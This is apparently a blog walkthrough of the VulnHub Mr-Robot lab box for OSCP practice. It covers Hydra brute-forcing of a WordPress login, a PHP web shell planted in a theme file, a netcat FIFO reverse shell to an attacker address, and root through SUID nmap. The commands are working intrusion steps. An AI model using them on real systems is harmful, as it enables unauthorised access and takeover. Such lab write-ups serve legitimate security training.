Mr-Robot 1 Walkthrough (OSCP Prep)

Introduction
Today in our OSCP Prep series, we’ll take a look at MR-ROBOT: 1 from VulnHub. This is an interesting box that requires us to elevate to root
privileges, finding three separate keys along the way.
Objective
From the description of this box on VulnHub:
Based on the show, Mr. Robot.
This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.
The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
So we have to find three separate “flags.” It’s a good bet the final flag will require root
privileges.
Host Discovery
We need to find the IP address of the Mr-Robot machine before we can do anything useful. I’ll use Arp-scan to locate the target.
(ori0n@apophis) --> [ ~/mrrobot ]
==> $ sudo arp-scan -l
[sudo] password for ori0n:
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:fb:0b, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1 00:50:56:c0:00:08 VMware, Inc.
10.0.10.2 00:50:56:fb:3b:27 VMware, Inc.
10.0.10.101 00:0c:29:30:80:c3 VMware, Inc.
10.0.10.199 00:50:56:eb:d5:d0 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.243 seconds (114.13 hosts/sec). 4 responded
The target is sitting at 10.0.10.101
. We’ll add an entry in /etc/hosts
:
10.0.10.101 mrrobot
Scanning
Next, we need to scan for any open ports on the system.
(ori0n@apophis) --> [ ~/mrrobot ]
==> $ rustscan -a mrrobot -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:443
Open 10.0.10.101:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.101
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 06:50 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 06:50
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 06:50, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 06:50
Scanning mrrobot (10.0.10.101) [2 ports]
Discovered open port 443/tcp on 10.0.10.101
Discovered open port 80/tcp on 10.0.10.101
Completed Connect Scan at 06:50, 0.00s elapsed (2 total ports)
Initiating Service scan at 06:50
Scanning 2 services on mrrobot (10.0.10.101)
Completed Service scan at 06:50, 14.36s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.10.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:50
Completed NSE at 06:50, 3.81s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:50
Completed NSE at 06:50, 0.05s elapsed
Nmap scan report for mrrobot (10.0.10.101)
Host is up, received syn-ack (0.00040s latency).
Scanned at 2021-08-18 06:50:24 CDT for 19s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd
443/tcp open ssl/http syn-ack Apache httpd
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds
It looks like we only have web servers to work with. Let’s start with port 80.
Enumerating HTTP – Finding the First Key
Heading over to http://mrrobot
, we’re greeted with a fancy shell:
We can play with the available commands, and browsing through the source reveals a 420
easter egg. However, there doesn’t seem to be much of interest to us.
Let’s see if Nikto can uncover anything relevant.
(ori0n@apophis) --> [ ~/mrrobot ]
==> $ nikto -h http://mrrobot | tee scans/nikto-http.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.10.101
+ Target Hostname: mrrobot
+ Target Port: 80
+ Start Time: 2021-08-18 07:02:28 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://mrrobot/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A WordPress installation was found.
+ /wp-admin/wp-login.php: WordPress login found
+ /blog/wp-login.php: WordPress login found
+ /wp-login.php: WordPress login found
+ 7373 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2021-08-18 07:05:36 (GMT-5) (188 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
There are a few points of note here: an admin
directory, a robots.txt
, and a strong indication that a WordPress blog is running on this site.
The admin
directory appears to be nothing more than a mirror of the front page. The robots.txt
file, however, is much more interesting:
User-agent: *
fsocity.dic
key-1-of-3.txt
Did we find the first key already? Let’s try to grab the file and verify.
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ wget http://mrrobot/key-1-of-3.txt
--2021-08-18 08:38:16-- http://mrrobot/key-1-of-3.txt
Resolving mrrobot (mrrobot)... 10.0.10.101
Connecting to mrrobot (mrrobot)|10.0.10.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’
key-1-of-3.txt 100%[==============================>] 33 --.-KB/s in 0s
2021-08-18 08:38:16 (4.00 MB/s) - ‘key-1-of-3.txt’ saved [33/33]
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ cat key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
One down, two to go.
Let’s not forget about the other juicy-looking file. Let’s fetch that as well and take a look.
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ wget http://mrrobot/fsocity.dic
--2021-08-18 09:06:21-- http://mrrobot/fsocity.dic
Resolving mrrobot (mrrobot)... 10.0.10.101
Connecting to mrrobot (mrrobot)|10.0.10.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’
fsocity.dic 100%[==============================>] 6.91M --.-KB/s in 0.1s
2021-08-18 09:06:21 (68.7 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ wc -l fsocity.dic
858160 fsocity.dic
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
This appears to be a wordlist. It will likely come in handy to proceed further on this machine, but it is quite large. We should first remove any duplicates from the dictionary.
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ sort -u fsocity.dic > wordlist.txt
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ wc -l fsocity.dic wordlist.txt
858160 fsocity.dic
11451 wordlist.txt
869611 total
And we’ve managed to trim 98% of the fat from the file.
Digging Into WordPress
Navigating to one of the WordPress pages identified by Nikto, we find an empty blog; however, we can access the administration login page:
Trying basic credentials such as admin:password
gets us nowhere. Perhaps we could use our found dictionary file to force our way in?
Notice when we enter invalid credentials, we get a very specific error message:
So the app is specifically telling us the username is invalid. We can use this flaw along with our wordlist to enumerate valid usernames on this WordPress installation.
Before we can do that, we need to know the correct POST request data being sent to the wp-login.php
page. A simple way to get this information is to use the web browser’s built-in developer tools. Press F12
to bring up the dev tools, then click the “Network” tab. Attempt to log in with the credentials ADMIN:PASSWORD
. Next, click the wp-login.php
request within dev tools, and scroll down to view the form data.
We can now use Hydra to enumerate usernames with its http-post-form
protocol. We’ll need to provide the path to the target page, the POST request data with appropriate placeholders, and the “Invalid username” string to identify failed attempts.
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ hydra -L wordlist.txt -p PASS mrrobot http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:Invalid username"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-18 16:57:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://mrrobot:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:Invalid username
[STATUS] 3613.00 tries/min, 3613 tries in 00:01h, 7839 to do in 00:03h, 16 active
[80][http-post-form] host: mrrobot login: ELLIOT password: PASS
[80][http-post-form] host: mrrobot login: Elliot password: PASS
So it looks like WordPress usernames are not case sensitive, and our target is elliot
. Trying this username with any arbitrary password reveals an error we can use to identify failed logins with Hydra:
Now, we’ll re-run Hydra using the -l elliot -P wordlist.txt
arguments. we’ll also use the string “is incorrect” to filter out failed passwords.
(ori0n@apophis) --> [ ~/mrrobot/files ]
==> $ hydra -l elliot -P wordlist.txt mrrobot http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:is incorrect"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-18 17:18:52
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://mrrobot:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:is incorrect
[STATUS] 3064.00 tries/min, 3064 tries in 00:01h, 8388 to do in 00:03h, 16 active
[80][http-post-form] host: mrrobot login: elliot password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-18 17:20:39
After a few minutes, we have creds: elliot:ER28-0652
Popping a Shell from WordPress
Logging into WordPress, it looks like we have administrative privileges. From here, there are many potential paths to get a shell on the target. We could install a terminal plugin or upload a custom malicious plugin. A quick and dirty way is to inject our own webshell into the existing PHP code of the site’s current theme.
Hover over the paintbrush icon from the sidebar on the left, then click “Editor”.
In the editor, we’ll find a good PHP file candidate from the Templates list on the right. I’ll use footer.php
. Scroll down to the end of the file and add the following PHP code:
<?php
if (isset($_GET['cmd'])) {
echo '<pre>';
passthru($_GET['cmd']);
echo '</pre>';
}
?>
Click “Update File” to save. Now, if we head back to http://mrrobot/wordpress/
, everything looks as normal. But if we add a ?cmd=id;ls
to the end, we have command execution.
Now, to get a reverse shell. Let’s see if we have Netcat and, if so, which version: http://mrrobot/wordpress/?cmd=which%20nc;%20nc%20-h%202%3E%261
.
/bin/nc
OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
[-P proxy_username] [-p source_port] [-q seconds] [-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [destination] [port]
Command Summary:
-4 Use IPv4
-6 Use IPv6
-b Allow broadcast
-C Send CRLF as line-ending
-D Enable the debug socket option
-d Detach from stdin
-h This help text
-I length TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-j Use jumbo frame
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects
-n Suppress name/port resolutions
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects
-q secs quit after EOF on stdin and delay of secs
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address
-T toskeyword Set IP Type of Service
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-V rtable Specify alternate routing table
-v Verbose
-w secs Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-Z DCCP mode
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
We have the OpenBSD Netcat, so we’ll have to use the FIFO trick to push a shell over to us: rm -f /tmp/f; mkfifo /tmp/f; bash < /tmp/f | nc 10.0.10.10 4444 > /tmp/f
.
Start a listener on the attacker (I’ll use port 4444), and head to the following URL:http://mrrobot/wordpress/?cmd=rm%20-f%20/tmp/f;mkfifo%20/tmp/f;bash%20%3C%20/tmp/f|nc%2010.0.10.10%204444%3E/tmp/f
And we’ve got our shell.
Key Number Two
Our first order of business is to find the second key.
find / | grep 'key-.-of-3.txt'
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-of-3.txt
We’ve found the second key file, but can we read it?
cd /home/robot
ls -l
total 8
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
So only user robot
can read the key, but it looks like we can read his password hash.
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
A quick trip to Hashes.com reveals the password:
We’ll need to use su
to use this password to get a shell as robot
. In order to do that, we’ll need an interactive shell. Python’s pty.spawn()
will do the trick:
python -c "import pty; pty.spawn('/bin/bash')"
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Privilege Escalation and Key Number Three
We’ll need to escalate to root
to find the third and final key. We’ll first check to see if our current user has any sudo
privileges on this machine:
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz
No luck. Let’s check our kernel version and distribution:
robot@linux:~$ cat /proc/version; echo; cat /etc/*-release
cat /proc/version; echo; cat /etc/*-release
Linux version 3.13.0-55-generic (buildd@brownie) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.2 LTS"
NAME="Ubuntu"
VERSION="14.04.2 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.2 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
Searching for known exploits revealed a few potentials, but none of them were successful. Digging through Cron jobs bore nothing useful. Let’s search for any strange SUID binaries:
daemon@linux:~$ 2>/dev/null find / -perm -4000 -exec ls -l {} \;
2>/dev/null find / -perm -4000 -exec ls -l {} \;
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12 2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12 2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9532 Nov 13 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Nov 13 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25 2015 /usr/lib/pt_chown
Most of these aren’t at all out of the ordinary, but there is one that sticks out like a sore thumb: nmap
.
A quick web search finds that Nmap‘s interactive mode can be a privesc vector when the binary is SUID. Let’s give it a shot.
daemon@linux:~$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash -p
!bash -p
bash-4.3# id
id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)
And we’ve got root. Now let’s find the flag.
bash-4.3# cd /root
cd /root
bash-4.3# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
bash-4.3# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Leave a Reply